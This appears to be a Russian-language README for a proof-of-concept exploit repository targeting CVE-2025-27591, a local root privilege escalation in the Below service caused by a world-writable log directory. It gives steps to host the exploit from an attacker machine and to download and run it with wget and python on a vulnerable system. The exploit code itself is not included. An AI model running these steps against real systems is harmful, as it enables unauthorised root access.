bridgeralderson/cve-2025-27591-pocCVE-2025-27591 — это уязвимость повышения привилегий, которая затронула сервис Below до версии 0.9.0
CVE-2025-27591 — это уязвимость повышения привилегий, которая затрагивала службу Below до версии 0.9.0. Проблема возникла из‑за создания общедоступного для записи каталога /var/log/below. Злоумышленник мог воспользоваться этой уязвимостью, манипулируя симлинками внутри этого каталога, и потенциально получить привилегии root, что делало её значительной угрозой безопасности для локальных непривилегированных пользователей.
Данное доказательство концепции написано только в образовательных и исследовательских целях.
На момент написания в сообществе не было общедоступных PoC для этой уязвимости. Поэтому я решил ответственно поделиться этой реализацией, чтобы восполнить этот пробел, внести вклад в экосистему исследований безопасности и повысить осведомленность о критической важности небезопасных файловых систем.
С машины атакующего:
1-git clone https://github.com/BridgerAlderson/CVE-2025-27591-PoC.git
2-cd CVE-2025-27591-PoC
3-python3 -m http.server 80
На уязвимой системе:
1- wget http:///exploit.py
2-python exploit.py
https://www.facebook.com/security/advisories/cve-2025-27591 https://github.com/facebookincubator/below/commit/da9382e6e3e332fd2c3195e22f34977f83f0f1f3
